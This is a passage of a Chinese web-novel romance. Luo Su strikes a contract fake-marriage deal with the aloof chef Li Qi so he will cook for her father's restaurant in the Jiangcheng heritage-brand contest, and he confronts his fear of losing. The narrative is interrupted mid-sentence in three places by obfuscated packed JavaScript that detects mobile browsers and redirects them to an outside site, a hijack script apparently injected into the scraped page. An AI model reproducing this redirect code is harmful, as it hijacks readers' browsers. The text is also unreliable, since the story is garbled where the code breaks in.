洛苏见他神色凝重,没敢继续说比赛的事情,怕耽误了晚市,两人只打了个照面,就各自投入到工作中了。 今晚生意也很好,结束的时候已经是十点了。也许是太累,大家都没什么胃口,草草吃了几口就收拾好店面,准备回宿舍睡觉。 洛苏一家三口就住在楼上,她检查好门窗,发现黎祁还没走。 今天太忙,她还没机会缠他,见现在只有他们俩,正好可以说比赛的事情,就主动走到他身边,清清嗓子,准备开始。 可她还没张嘴,黎祁却主动开口了。 “洛苏,跟我结婚。” 洛苏笑点很低。哪怕别人觉得不好笑的玩笑话,她都能笑得流眼泪。 如果这是个玩笑,她应该早就笑出声了。可黎祁从来不说笑,所以这不是开玩笑。 “你有病吧!” 她差点爆粗口。她甚至还想骂,你以为婚姻是玩游戏吗?随便大街上拉个人就能结婚? 婚姻对于洛苏来说是圣洁美好的。 父母结婚近三十年,她从来没见他们吵过架,哪怕有点小争执也常常是转头就过了。 父亲虽然是做厨的,但心思细腻,善于洞察人心,有很强的共情能力。他能理解女人当妻子和母亲的不易,哪怕生意再忙,他也不会忽略妻子的感受和需求。即使后来宝庆楼的生意一落千丈,他也从来不曾把经济上的烦恼和压力发泄到妻子身上,只会怪自己不能给妻女提供更好的生活。 作为父亲,他也是极其合格的。虽然他嘴上总是说“酥酥要是个儿子多好啊”这种话,但他从不重男轻女,他不让女儿进厨房只是因为心疼和不舍。宁可牺牲宝庆楼的将来,也不想把压力和重担推到女儿身上。他爱女儿,愿意托举她做想做的事情,并以女儿为傲。 洛苏也曾经幻想过今后要找什么样的人做丈夫。她觉得找她父亲这样的就很好。 宽和、包容、善良,可能缺少成功男人的霸气和威严,但婚姻看的是人性的底线。如果对方宽厚善良,哪怕婚姻最后破裂,也不至于受到很大的伤害。 洛苏相信黎祁本性是善良的。他会喂流浪猫狗,还会给孩子买玩具,看到父亲搬重物会主动接过去。可他和宽厚根本不沾边啊!整天臭着一张脸,拽得二五八万似的,要不是脸帅,她都想朝他挥一拳头。 最最重要的是,她根本不喜欢他,而他,也不喜欢她。她梦想的求婚也不是这样的。 这样的两个人结婚?简直是天方夜谭。 黎祁似乎对她的反应早有预料,他走近一点,低头诱惑般地看着她:“如果你同意跟我结婚,我就帮你参加那个比赛。” 他身上的松木味被洛苏轻松嗅到。他双眼狭长,漆黑的眼眸因专注而显得清澈,像一汪深潭,他从不这样看人,这是第一次。 洛苏避开他的眼睛,声音不自觉低了下去,刚才的嚣张恼怒一去不返。 “这不是可以做交易的两件事。” “在我这,这就是可以做交易的。” 黎祁突然轻轻笑了一声,他从来没见过洛苏这样窘迫羞恼的模样。他知道她肯定是以为他在向她求婚呢。 他故意的。 见洛苏眼神怀疑,他收起笑容,认真地解释:“你放心,不是真的结婚,我们可以签个协议,只领证,其余的一切义务我们双方都不需要履行,财产也各自独立。” “假结婚?” 洛苏以为这是电视剧里面才会出现的剧情。 “那……以后呢?” “你想什么时候离婚都行,我绝对配合,这点可以写进协议里面。” 如果可以随时离婚,那倒还有点诱惑力。可是,她真的有必要为了一个比赛把自己变成已婚乃至离异女性吗? 一个不要钱就能换到的本本真的是好东西?洛苏虽然没谈过恋爱,但是她也知道这个浅显的道理,一件事如果门槛很低,那多半是陷阱。万一结了离不掉,那她可就完了。 她又不喜欢黎祁,就算她喜欢黎祁,黎祁不喜欢她,她也不会开心。婚姻,必须建立在两情相悦的基础上。而且一旦结婚,哪怕他们互相不喜欢,基于道德和教养,她也没办法喜欢别人。不管是她给黎祁戴绿帽子,还是黎祁给她戴绿帽子,都让人不爽。这不等于画地为牢,把自己圈死了? 不不,这交易代价太大了。她才不做这亏本的买卖呢! 不过她没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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认识才几个月的人,她怎么就有信心认为他不是坏人呢? 大概是很多次他明明有机会伤害她欺负她,但表现出更多的是疏离和厌烦。以他的色相,要找女人根本不难。洛苏敏感地察觉到,他对女人,哦不,他对所有人,都很戒备。 “拜托,你那个协议根本没有法律效力。退一万步,就算你们真的只是假结婚,井水不犯河水,但真能想离就离吗?你怎么跟叔叔阿姨交代?” 这话戳到了洛苏的软肋。她爱父母,不能不考虑他们的想法。 挂上电话,她第一次感到这么无助。 她突然有点恨自己为什么不是个男人。如果她是个男人,就可以接手宝庆楼,传承父亲的厨艺,现在就不会这样左右为难、束手无策。 可她偏偏是个女儿身。小时候她其实是喜欢钻厨房的,可每次都会被父亲哄着劝着赶出来。 “我的女儿是心肝宝贝,是要捧在手心的掌上明珠,怎么能当厨子呢?” 那时候洛苏太小,不知道什么是掌上明珠,只知道她喜欢吃父亲做的菜,每顿都吃满满一碗,吃饭的时候就是她最开心的时候,因为父亲总会变着法儿地做她喜欢吃的和她没吃过的。 她不觉得当厨子有什么不好。民以食为天,会做饭的人不管什么时候都饿不着。 等她再大一点,稍稍表现出想要学做厨的意思,洛玉柱的反对就更明显了。 “酥酥,做厨太辛苦了,你看爸爸都觉得累,你一个小姑娘怎么受得住?你要是真喜欢做饭,学着做点西点还行,中餐太累了,烟熏火燎的,到时候把我宝贝女儿熏成了个大花脸可就不漂亮了。你喜欢画画就好好画画,以后当个漂亮优雅的画家。再说,你想吃什么爸爸可以给你做啊,没必要自己学。爸爸给你做一辈子饭!” 洛苏鼻子发酸。爸爸怎么可能给她做一辈子饭呢?而且这个愿意给她做一辈子饭的爸爸,大概也不希望他精心呵护的宝贝女儿把婚姻当做筹码和人交易吧。 算了,不参加就不参加吧。 黑暗中,她的手机屏幕再次亮了。 是施蜜发来的消息。 “酥酥,你要想清楚,什么东西对你最重要,值得你拼尽全力去守护。” 15. 协议 第二天是周末,洛苏起了个早床熬了大骨粥,又在隔壁王婶儿家里买了豆浆、煎包、面窝,然后去医院看望父亲。 医院里人来人往,忙忙碌碌。已经查过房了,病人都在吃早餐,走廊里弥漫着各种食物混合的气味。 当然,也包括洛苏拎着的早餐。 面窝是本地特色,酥脆油香,最适合配粥。煎包是母亲爱吃的,她老是对洛苏耳提面命,豆浆不能配油条,不健康!配煎包正好,浓淡相宜,女人就要多喝豆浆! 洛苏想到这里嘴角不自觉上扬。 走了几步,快到病房了,她突然顿住了脚步。 走廊尽头的角落里,洛玉柱正被苏爱云搀扶着,颤颤巍巍地挪动,模样笨拙。 他不敢动骨折的那条腿,用力悬着,腋下夹着拐杖,苏爱云心惊胆战地跟在一旁,生怕他有个闪失。 洛玉柱来来回回一遍一遍走着,夫妻俩都没注意到女儿在不远处看着他们。 “我多练习试试,说不定一条腿也能站稳,这比赛我还是想参加……” “你当心点儿!” 洛玉柱和苏爱云的声音断断续续传过来,又被嘈杂的人声淹没。 洛苏提着早餐,突然感觉自己的腿也失去了力气。 “咦,酥酥怎么这么早就来了?” 洛玉柱眼尖,还是看到了女儿。 洛苏收拾好表情,扬起笑脸,快步走过去把早餐递给母亲,自己接手搀住父亲往病房走。 “知道你们吃了几天医院的饭肯定腻了,所以买早点来给你们吃。有猪骨粥,以形补形,还有我妈爱吃的煎包。” 洛玉柱吸吸鼻子,舔了舔嘴唇:“是不是还有炸面窝?” 洛苏笑答:“我爸鼻子就是灵,这都闻出来了。” 洛玉柱笑呵呵接口:“做厨师的,鼻子不灵那可就完喽!” 一家三口高高兴兴吃完早餐,洛玉柱开始询问店里的生意。 “好得很!每天都忙到九十点才下班,您不用担心,我会看好馆子的。” “那就好,还有几天就要比赛了,我每天这么练一下,免得肌肉萎缩,到时候撑着拐杖应该能比赛。酥酥你说得对,报名了不参加太可惜。哪怕以后宝庆楼真的做不下去,也不能这样窝囊地关门。” 洛玉柱虽然性情温和,但也是个倔性子。有其父必有其女,洛苏那死缠烂打的个性就是遗传的他,只不过他是用来追老婆。既然已经报了名,哪怕拄着拐杖他也要去露露面,直接退赛太丢人了,他要让同行们知道,宝庆楼,还没完! 洛苏却把他按到枕头上,喜笑颜开地说:“爸爸,你不用操心,我已经跟黎祁说好了,他替咱们去比赛。” “真的?”洛玉柱不敢置信,激动得撑起身子。 “真的真的,我骗您干嘛?” “我就说小黎是个好孩子,不会忍心见死不救的。这下好了,有他出马,你爸就可以安心休息了。” 苏爱云把丈夫腿上的被子掖了掖,他这几天急在心里,她全知道。 晚上十点,大家收拾好店面都回宿舍休息了,店里只剩黎祁和洛苏。 “这是我拟的协议,你看看,如果有问题我们可以商量。” 洛苏从包里拿出她中午偷偷在办公室拟的协议,整整十页。 黎祁好奇接过去,开始一页一页翻看。越看,他的眉头拧得越紧。 “乙方必须承诺在婚姻存续期间留在宝庆楼工作……乙方不得主动提出离婚……乙方在宝庆楼工作期间要尽心尽力,完成提升营业额百分之五十以上的目标……乙方在宝庆楼工作期间年薪按照上一份合同履行,包含年终奖等在内,合计十万元每年……” 人在无语的时候是会笑出来的。 黎祁勉强扯扯嘴角,弹了弹手上的纸:“你是周扒皮转世吧?” 洛苏俏脸微红,争辩道:“我清清白白一个女生无端变成已婚妇女,以后还要莫名其妙变成离异女性,你知道这损失有多大吗?” 黎祁不跟她争,继续往下看。 “乙方不行使任何丈夫的权利,未经甲方同意,乙方不得擅自和甲方有任何越界肢体接触,特殊情况下,乙方需配合甲方扮演好丈夫的角色……” 黎祁冷笑一声,抬头看着洛苏,眼睛里是嘲弄和讥讽:“你能解释一下什么是越界肢体接触吗?” “很简单,比如牵手、拥抱……等。” 洛苏紧急刹车,她本来还想说接吻,可看到黎祁冷酷的表情,硬生生憋了回去。 接吻?除非他们俩都疯了。 “这一部分我没意见,不过我觉得应该加上,‘甲方也不行使任何妻子的权利,未经乙方同意,甲方不得擅自和乙方有任何越界肢体接触’……限制乙方的所有条款也应该同样约束甲方,这才公平不是么?” 他还没说完,洛苏反驳他:“我才不会碰你呢!你放一百二十个心……” 黎祁点头认可她的说法:“那最好。另外,提升百分之五十的营业额这个,我做不到。” 洛苏早就分析过了,黎祁能提出这样的交换条件肯定是因为那张证对他很重要,而且他找不到合适的人,不然他的态度不会转变得这么快。反正他没父母,她不需要应酬公婆,只需要把自己父母这边对付过去就行。那何不趁机把这个名义上的老公的价值利用个彻底呢? 只要她不提离婚,黎祁就要一直在宝庆楼干下去,哈哈哈……这比什么合同都有效。在她离婚前,再也不用担心宝庆楼的生意了。 至于离婚,以后再说呗,反正她也没有喜欢的人,以后如果遇到了喜欢的人再离婚也不迟。 现在就是一场博弈。看谁更着急,更沉不住气。 她故作遗憾:“做不到?那太可惜了,我是真的很有诚意跟你合作的,如果你做不到,那……” 黎祁心里冷哼一声,跟我玩欲擒故纵? “那还是算了吧,你知道我只是个摆路边摊的,那个更适合我,经营餐馆我不擅长。” 黎祁站起身,把协议推回洛苏面前。他的意思很明确,谈得拢就谈,谈不拢就拉倒。 洛苏一颗心悬到了嗓子眼,死白豆腐还真难啃。他真的这么有把握她一定会妥协吗?她也是骨头很硬的人好吗?看谁先怂! 三分钟过去了。 “白豆腐,谈生意不是你这么谈的,买卖不成仁义在嘛,你这样一下把话说绝了,对大家都不好,哈……哈哈……” 洛苏追上去,用后背堵住门不让黎祁离开。 黎祁收回脚步。他在赌,赌洛苏守护宝庆楼的决心。 他忘了告诉洛苏,他一般不赌博,但若是赌了,一定要赢。 奸计得逞的笑容转瞬即逝,他恢复冷淡的表情,“你还想谈什么?” “这样行不行,提升百分之三十?百分之五十是有点难,百分之三十怎么样?” 黎祁没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207652|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急着回答,他摆摊几年对餐饮业有些了解。餐饮业竞争很大,尤其是这些年,新入局的餐厅能撑过一年的寥寥无几,多半是开业即巅峰,后面直接倒闭。对宝庆楼来说,食材和人工是最大的支出,利润已经比那些需要支付高额房租的餐厅高得多。但是宝庆楼的缺点也很明显,经营模式老化,定位不上不下很尴尬,装修也过时,根本吸引不了年轻人。主要的客户群体是喜欢吃本地菜的中老年人,而这个群体的消费习惯偏于保守,一个月可能都在外面吃不了几次饭,不把年轻消费群体拉进来,营业额很难大幅度提升。 原本这和他没有关系,但如果他和洛苏假结婚的话,他就不得不入局,哪怕是做戏,也得用心一点,不然就算老豆他们看不出猫腻,洛玉柱也会发现不对劲。 百分之五十,这是把他当神了。百分之三十,还凑合着可以试试,就当做赔偿给她的名誉损失费吧。 洛苏与他相处几个月,差不多摸清了他的脉门。这会儿,他的沉默意味着同意,虽然有点儿勉强。 “那就说定了,这一条,过!” 百分之三十就三十吧,也不少了。黎祁也不是神,洛苏懂得适可而止。 “另外,比赛之后去领证,你没意见吧?” 比赛迫在眉睫,领证却不是那么简单的事情。这是洛苏不可妥协的底线。黎祁要是再得寸进尺,她就一拍两散! 黎祁见好就收,没有反对,却提出了新的问题:“你打算怎么跟你父母交代?” 洛苏叹口气,恨恨地瞪他一眼,“你要是有个女儿,跟人假结婚,你会怎么样?” 黎祁耸耸肩,表情淡然:“我没有父母,所以我不知道父母应该是什么反应。” 洛苏被他怼得语塞。他说得也没错,一个没有父母的人,大概也不知道怎么去做父母。毕竟一个人所受的教育,主要来自家庭。父母,就是最重要的老师。 洛苏心里一时五味杂陈。她突然有点理解黎祁为什么会把婚姻当做交易。他看起来那么酷,对所有人都敬而远之,用一张冷脸保护自己。大概是因为他只有自己,没有退路? 她不自觉就放柔了语气:“当然不能实话实话,假结婚太离谱了,他们会气死的。我准备偷户口本,悄无声息地结了再离,不让他们知道。” 黎祁无语地看了她一眼:“偷户口本?那你怎么解释户口本上面的婚姻状况,难道你妈不会看吗?” 他又露出洛苏熟悉的嫌弃表情,好像在说“你怎么这么笨”。 可这是洛苏能想到的最好的办法。 “我建议你实话实说,该配合你演的戏我会好好演。而且,我觉得你爸妈不讨厌我,应该不至于气得跳脚。” 洛苏想了想,黎祁说得很对。洛玉柱不必说,对他的厨艺和人品赞不绝口,整天“小黎天赋出众,任劳任怨,脚踏实地”……各种溢美之词挂在嘴上,她听了都觉得和她认识的黎祁根本不是一个人。 她妈也很夸张,总是一副慈母眼神看着黎祁,还私下给他炖补汤喝,都快把他当儿子了。 如果告诉他们,她要和黎祁结婚,他们应该会赞成吧? “喂,等等!” 见黎祁准备走,洛苏突然叫住了他。 黎祁回头,不知道她还要说什么。 洛苏顿了顿,不知道该怎么措辞。 可是都要结婚了,有些事总得问清楚吧。 “你……是不是有一个孩子?” 16. 过往 洛苏对黎祁买玩具汽车的记忆很深刻。 即便戴着口罩,也能发现他的眼神变温柔了。他买了那辆精致的小汽车,从棚户区那个破房子出来之后,玩具就没了。 她觉得任何一个正常人的合理联想都是那个破房子里有一个孩子,而这个孩子和黎祁有千丝万缕的关系。 他可能有一个孩子,还急着结婚,可她不想不明不白无痛当妈啊! 黎祁看了她一眼,转身继续往外走,清冷的声音从幽幽夜色中传来。 “这世界很好吗?” 洛苏怔住,这世界很好吗? 她觉得这世界很好啊!虽然要为了生计忙碌,可她二十四年的人生,有太多快乐,她是在幸福的汪洋里长大的。那些偶尔的疲惫忧伤,跟浩浩荡荡的快乐相比,无异于溪流之于大海。 这世界很好! 可黎祁说“这世界很好吗?”。这明显不是疑问句,而是反问句。 他的世界不美好,所以他不觉得有必要将一个无辜幼小的生命带到这个不美好的世界上来。 如果他是真的问洛苏,这个世界会好吗? 洛苏都有信心坚决地告诉他,会好的! 可他的绝望不留余地,还有强烈的讽刺和怨恨。 洛苏对黎祁更加好奇了,声称没有父母的他,到底成长在一个什么样的环境? 一个认为这个世界很糟的人,却会表情温柔地买一辆玩具汽车送人,他应该还是想再努力一下,让这世界别太糟糕的吧? 几天后,“江城老字号”大赛如期而至。洛玉柱已经出院在家休养,特地批准关店放假一天,让大家去帮黎祁和洛苏加油打气,他和苏爱云在家盯着手机直播,准备亲眼见证宝庆楼荣誉加身的时刻。 江城商务和□□门非常重视这次比赛,特地安排在著名的五星级酒店举办。现场一片忙乱,架起了许多录制设备,听说还有不少领导将莅临。所有参赛单位都摩拳擦掌,虎视眈眈。 比赛分为两个阶段。第一阶段是晋级赛,每个参赛单位现场做一道菜,由评委当场点评。这一阶段比赛没有分数,现场十位评委每人手上有五张晋级票,只有一半的餐厅能拿到晋级票,顺利进入第二阶段的比赛。 第二阶段是精品赛,晋级的餐厅各自拿出一道招牌菜,评委给每道菜打分,分数靠前的二十家餐厅可以进入决赛。 决赛是文斗,每家餐厅派出一名代表讲述品牌发展历史。最后结合第二关和决赛的分数,选出分数最高的十家餐厅,授予“江城老字号”的奖牌。 如果黎祁以高分进入决赛,那么洛苏的压力就会小很多。如果黎祁分数不高,洛苏也能想办法补救,这比赛规则挺科学。 现场密密麻麻摆满了操作台。冬瓜作为助厨在检查各种佐料和食材。今天的食材和佐料由各单位自备,不过都要经过统一检查,防止有人夹带违禁物品。 “冬瓜,黎祁呢?” 洛苏把老豆他们安置在观众席,然后来找黎祁,想给他说几句话打打气。 “他说去洗手间,还没回来。” “去了多久?” 洛苏抬手腕看表。比赛马上就要开始了,现场工作人员已经开始清场了,扩音器里也在播放比赛即将开始的提醒。 “十分钟吧。” 见洛苏有点急,冬瓜也跟着紧张起来。 “我去找他,你在这别走开。” 洛苏走出会场给黎祁打电话。 电话通了,但一直没人接。 洛苏的心突然“砰砰”乱跳,该死的白豆腐不会放她鸽子了吧? 她在洗手间门口蹲了几分钟,里面一片安静,所以人都到会场准备比赛了。 她抓住一个路过的工作人员,请他帮忙进去找人。 那人见她带着参赛证,知道是参赛单位,也不敢耽误,马上进去帮她找。 可里面一个人都没有。 洛苏又急又气,紧张和焦虑让她浑身开始发冷发抖,手脚也变得笨拙。 她一遍遍拨打黎祁的电话。 最后,就在她要放弃的时候,电话终于接通了。 “死白豆腐,你知不知道比赛要开始了!你在哪,快过来!” “那么紧张干什么,冬瓜不是也会做菜吗?” 听筒里有“呼呼”的风声,黎祁的声音轻飘飘的,好像浮在空中。 “你别忘了我们的交易!”洛苏气急败坏朝他大吼。甚至来不及极尽语言批判他的临阵脱逃、不负责任和言而无信。 “怎么?你就这么迫不及待要跟我结婚?” 即使隔着电话,洛苏也能听出他话里讥讽和嘲笑的意味,还带着少见的戏谑和挑衅。 洛苏挂了电话。 比赛还有一刻钟就开始了。她没时间跟他在电话里争锋相对,当务之急是找到他,把他绑到比赛现场来。至于别的,秋后算账也不晚。 洛苏的大脑快速转动起来。风的呼啸声,还有回声……她想她知道该去哪里找黎祁了。 五星级酒店的屋顶花园风景很好,正是草长莺飞的时节,春光明媚,风吹在身上暖融融的,带着微微的湿润,不干不燥,一切正好。 遮阳伞下面摆着一圈西式座椅,墙角吊兰柔顺地垂下来,绿莹莹的像海藻,桌上花瓶里插着香水百合,原本香气浓郁,但在这开阔的风景里,稀释得正好。 有钱人真会享受。 换了平时,洛苏肯定不会放过这个发帖的好机会。这里很出片,点上一杯咖啡,再来块蛋糕,惬意得很。 但此刻,她只想找到那个临阵退缩、不讲信用的骗子! “黎祁,跟我回去比赛!” 洛苏一把揪住黎祁的外套。 他倒是快活,一个人在这吹风看景,她都快急死了! “要我回去比赛可以,如果比赛输了,你能接受吗?” 黎祁抖落她的手,转身平静地看着她。 “还没比,你怎么知道会输?” “我们的约定是帮你参加比赛,可没说要赢。没人能保证自己一定能赢。” 洛苏气得想一拳打爆他的头。 也怪自己大意了,忘了在协议里加一条,参加比赛并获胜。 洛苏恨恨地看着他,楼顶狂风骤起,掀翻了他的衬衫下摆。她觉得这样的黎祁很陌生,不再是那个身怀绝技、不可一世的闹市隐者。虽然他脸臭,但工作的时候是尽职尽责的。可现在,他像一个准备躺平装死的逃兵,他的眼睛里有奇怪的恐惧。 他在怕什么。 “你在怕什么?怕输?” …… 黎祁没有回答。 这次洛苏确信他的沉默代表默认。 “你输过?”洛苏凑近一点,好奇地看着他。如果他抱着必输的心态去参加比赛,那还不如不参加。平时的黎祁像一面铜墙铁壁,冰冷坚硬,拒人千里。而现在,这个怕输的他给这面铜墙铁壁撕开了一条缝隙。 洛苏的长处就是打蛇随棍上,只要有一点缝隙,她就会牢牢把握机会。 “你知道我为什么在路边摆摊吗?” “因为你只会给自己工作?” 洛苏回想他当时那又拽又自大的模样心里还有气。他毫不留情地拒绝她的招揽,打工,是不可能打工的,哪怕摆路边摊,他也不会向人俯首。 “两年前,我在全国名厨大赛决赛输掉了冠军。那是我唯一一次输。” 洛苏嘴巴微张,第一反应想说一句“你太牛了”,可又觉得听起来不像夸奖像讽刺,于是悻悻合上了嘴。 难怪他那么拽,原来人家有拽的资本。 她以为黎祁顶多只是一个厨艺很好又因为不想受拘束才大隐隐于市的高人,没想到他高到了这个程度。 全国名厨大赛,那是全国顶级厨师较量的舞台,高手云集,群英荟萃,获胜的人不仅有丰厚的奖金,还会被各大餐饮集团争相聘请,可谓名利双收。 两年前,黎祁也不过二十五六岁,就能登上这种舞台,他也太厉害了吧! 洛苏发自内心想大大吹捧他一番,但是黎祁脸色阴沉,显然没有因为能参加名厨大赛就心满意足。 一个天赋异禀又恃才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207653|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傲物的人,是不能被打败的。一旦被打败,就会对自己产生强烈的怀疑,甚至自弃。 所以他选择摆路边摊来逃避失败。不跟人比,就不会被比下去。 洛苏突然想起第一次求他代替父亲参加比赛的时候,他说“我不参加比赛”。当时她还以为只是他的推托之词,没想到背后原来是这样的故事。 洛苏有点想仰天大笑,没想到黎祁也有今天!一次失败就成了他挥之不去的阴霾,外表看起来那么酷那么坚硬,内里却这么不堪一击。 但现在不是嘲笑他的时候。 “原来你输不起啊!”洛苏又凑近点,表情是明晃晃的幸灾乐祸。 “你……” 黎祁气结。 “没事没事,那就算协议无效,趁现在还来得及,我们弃赛,你就不用再输一次了。” 洛苏转身就走。 “等等……” 黎祁果然叫住了她。 “你不是很在意这次比赛吗?” 黎祁不解地看着洛苏,她竟然这么轻易就要放弃比赛,当初死乞白赖地哀求自己的人是谁? “我是想啊,但是你怕输啊,既然怕输那还比什么?我给你讲个故事,你听不听?”不等黎祁同意,她就自顾自讲了起来,“从前有个财主特别好吃,每天吃各种山珍海味。有一天他办了个宴会,准备了很多好吃的。财主见有他喜欢的红烧肉就趁热把肉塞进嘴里,没有嚼就往下咽。谁知肉卡在喉咙里了,他咽不下去也吐不出来,快被噎死了。后来好不容易被人救过来,捡回一条命。财主很后怕,心想万一以后再发生这样的事情肯定就死定了,看来吃饭太危险了,于是决定以后再也不吃饭,然后他就饿死了。” “哼,你是说我因噎废食?” “你不是吗?还没比赛就预设结果,还没努力就觉得会输,你已经预制了结果,这道菜再怎么做也不过是加热一下冷饭,当然不会好吃到哪里去。” “你难道不怕输?” “我怕啊,小时候我输过好多次绘画比赛,一度觉得自己根本不是那块料,但是我文化成绩也一般,只有画画还算特长,只能硬着头皮坚持下去。我记得有几次比赛我输了,连安慰奖都没有得到,我哭了整整两天。但是后来有比赛,我还是参加了。不参加怎么知道会不会赢呢?我爸常说,不要在意结果,过程比结果重要,更不要预设结果,过程尽心尽力不留遗憾,结果是什么样都能坦然接受。所以,输多了之后我就习惯了,等到再赢的时候,获胜的喜悦来得更强烈。” 黎祁沉默了一会儿,把手插进裤兜,看着远方:“走吧,比赛快开始了。” 电梯里面只有他们两个人,黎祁突然像想起什么似的问:“你输掉的是什么比赛?” 哭了整整两天,应该是很重要的比赛吧? 洛苏甜美的笑容看起来很无辜:“幼儿园绘画比赛。” 黎祁无语,要不是在电梯里,他很想掉头就走。他怎么忘了,洛苏是个骗子。 “其实,你可以不用跟我回去的。” 黎祁扭头看着她,示意她继续说下去。 “你如果真的不想比赛大可以直接消失,我们的协议就作废了,我没有什么损失,顶多就是宝庆楼失去了一次机会。但你参加比赛了,不论输赢,我都得履行我的承诺。” 黎祁被她说中心思,转过头躲避她紧追不舍的目光。 “黎祁,谢谢你。” 洛苏第一次发现黎祁有点可爱,和她那些学生一样,明明有实力,但比赛前还是会紧张会害怕,她只好软硬兼施承诺给他们奖励,又吹一堆彩虹屁鼓励。上场前前怕狼后怕虎,上场了自己就是狼就是虎。 电梯门开了,两人走出电梯在会场门口不约而同停下了脚步。 “加油,我相信你!”洛苏举起拳头,做了个打气的姿势。 “你也是。”黎祁罕见地对她笑了笑,很温柔,然后稳稳推开了会场的门。 洛苏看着他高挺的背影,愣了几秒才跟上去。她觉得进去的不是刚才那个纠结别扭的人,而是一匹准备大杀四方的豺狼。 17. 真正的厨师 冬瓜小心翼翼片鱼,见别家餐厅预备的食材不乏鲍参翅肚,再看看自己手上两条普通白鲢鱼,心里感到一阵自卑和忐忑。 “咱们的食材是不是太普通了?我看到有人预备的是东星斑……” “珍贵的食材比比皆是,能把平凡的食材做出不平凡的味道,让普通人都吃得起,这才是一个真正的厨师应该做的事。” 黎祁低头认真处理鱼,冬瓜听了微微愣了一会儿神,被黎祁提醒才开始专注地配菜。 鲢鱼是长江水系最普通的鱼之一。市场上随处可见,价格低廉,人人都吃得起,但不是人人都做得好吃。因为鲢鱼土腥味很重,而且小刺很多,不是特别会吃鱼的人很容易被卡住,肉质也比较松散,口感一般。 但是有一种方法可以完美规避这些缺点,那就是做成鱼丸。宝庆楼的鱼丸一直用鲢鱼制作,成本低,性价比高,街坊邻居都能一饱口福。 黎祁动作精准敏捷,不一会儿两条鱼在他手上就成了鱼糜。加入蛋清、生粉、盐,搅拌均匀,接下来就是关键的一步,让松软绵密的鱼糜变得弹牙。 他挽起袖子,露出结实修长的小臂,开始打鱼糜。 “啪——” “啪——” 掷地有声,声声入耳。一听这动静,就知道他是行家,全是巧劲儿。 附近几个选手被这声音吸引,不时投来好奇和警惕的目光,他们知道,这次遇到对手了。 洛苏在观众席拍摄视频,支架上是她的宝贝相机,拍出来的画面和电影有类似的光影效果。 她全神贯注看着相机,画面里黎祁一直低着头,她只能看到他浓浓的眉毛和高挺的鼻梁。他手上动作不停,小臂上的青筋凸起,随着他的动作在她视野里跳跃,手指白皙修长,摆弄食材的时候流畅优雅得如同一个陶醉的钢琴家。 洛苏突然感到有点口干舌燥。 一定是会场人太多了,热。 她弯腰去找水喝。 “酥酥,找什么呢?”菜菜见她找来找去,又不说找什么,也跟着找起来。 “口渴,咦,主办方不是发了水吗?我怎么找不着了?” “水?不就在你椅子下面吗?刚才不是你自己放的?” 菜菜把水递给洛苏,一脸困惑。大家常常取笑她笨,什么时候酥酥也变笨了? 老豆和丸子不经意一个眼神交汇,彼此心领神会。 “酥酥,坐下休息一会儿吧,让菜菜帮你看着相机。”老豆拍拍椅子,示意洛苏坐下。她一上午跑来跑去,一口气都没歇。 “好呀好呀,我来看相机。黎大哥好帅呀,你们看,这么多厨师,就他与众不同,那个……那个……鹤立鸡群!” “哟,菜菜都出口成章了,爱情的力量真大啊!”丸子揶揄她。 菜菜脸顿时通红,还犹自争辩:“本来就是嘛……” 老豆也跟着感叹:“唉,不知道以后谁能嫁给小黎,长得又高又帅,做菜又那么好吃,他要是肯,不愁赚不到大钱。可惜我是个老男人,我要是个小姑娘,我就追他!” 说完,他装作不经意瞟了瞟洛苏。 洛苏脸上突然飞起淡淡一抹绯红,她扭开脸,装作观察其余厨师的动作。 “你们别东拉西扯了,知己知彼百战百胜,看看别家做什么菜吧!” 现场一派热火朝天,已经陆续有食物的香气飘散出来。丸子吸吸鼻子,开始发挥她的特长,闻香辨物。 “有酸菜鱼,还有糍粑鱼,那边是藕夹……” 洛苏看到黎祁已经在煮鱼丸了,水雾朦胧中,他好像抬起头朝她的方向看了一眼。 洛苏突然有点紧张,慌忙低下头去,生怕和他对视。她甚至忘了,他们离得有点远,他或许看的根本不是她,可她为什么要闪躲? 时间一分一秒过去,离第一轮比赛结束只剩五分钟了。绝大多数选手的菜已经做好了,收拾好厨余整理干净桌面,只等着评委来评判。保持灶台整洁也是一个优秀厨师必备的素质,如果灶台脏兮兮的,很难让人相信这个厨师做的饭菜是干净卫生的。 冬瓜收拾好桌面,黎祁进行最后一道工序,汆烫生菜。生菜很容易熟,太早下锅等评委过来的时候早就放干了,只有刚刚出锅吸饱鱼汤的生菜才是清脆甘甜的。 “叮——” 比赛结束的铃声响了,黎祁熄火,起锅。所有人都严阵以待,只有他,面色如常,好整以暇。 十个评委开始像吃流水席那样,一样样品尝。由于参赛单位过多,评委们不可能吃遍所有菜,也为了避免评委评价不够客观,每位评委现场抽签分配评判小组,在负责的小组选出五家单位发放晋级门票。 宝庆楼分到的组不乏知名老店,成为那百分之五十的晋级者有些难度。 洛苏的心提到了嗓子眼。今天的分组抽签是她抽的,万一遇到的对手太强,那就是她运气太背拖了后腿。她不禁开始在心里祈祷,希望遇到的都是猪对手。 